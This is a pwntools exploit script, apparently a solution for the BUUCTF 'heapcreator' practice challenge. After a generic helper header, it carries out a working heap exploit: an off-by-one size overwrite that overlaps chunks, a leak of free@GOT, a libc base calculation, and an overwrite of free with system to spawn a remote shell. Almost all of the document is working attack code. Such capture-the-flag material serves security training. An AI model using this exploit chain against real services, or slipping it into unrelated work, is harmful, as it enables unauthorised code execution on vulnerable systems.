# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8
from LibcSearcher import LibcSearcher
import ctypes

pss: bool = True
fn: str = "./heapcreator"
libc_name: str = "/home/kali/share/share_files/security/buuctf_libc/libc-2.23_64.so"
port: str = "26654"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        break main
                        c
                        """)
    else:
        p = process(fn, env=env)
# 两个elf，注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def suclog(**kwargs):
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            info(f"received:\n{received.decode('UTF-8')}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        info(f"received:\n{received.decode('UTF-8')}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")
...


def allocate(size: int, content: bytes) -> None:
    sendline_after_clean(b"1")
    # sendline_after_clean(str(index))
    sendline_after_clean(str(size))
    sendline_after_clean(content)

def remove(index: int) -> None:
    sendline_after_clean(b"4")
    sendline_after_clean(str(index))
    
def show(index: int):
    sendline_after_clean(b"3")
    sendline_after_clean(str(index))

def change(index: int, content: bytes, newline: bool = True) -> None:
    sendline_after_clean(b"2")
    sendline_after_clean(str(index))
    if newline:
        sendline_after_clean(content)
    else:
        send_after_clean(content)
        

allocate(0x18, b"0")
allocate(0x18, b"1")
allocate(0x18, b"2")

payload = flat([
    "/bin/sh\x00", 0,
    0
]) + p8(0x81)
change(0, payload, False)
remove(1)
allocate(0x70, flat([
    pg(0)*8,
    8, m_elf.got['free']
]))

show(2)
free_got = recv_and_transform("Content : ")
base_addr = free_got - libc.sym['free']
system_addr = base_addr + libc.sym['system']
suclog(
    free_got=free_got,
    base_addr=base_addr,
    system_addr=system_addr
)
change(2, pg(system_addr))
remove(0)
    
interactive_after_clean()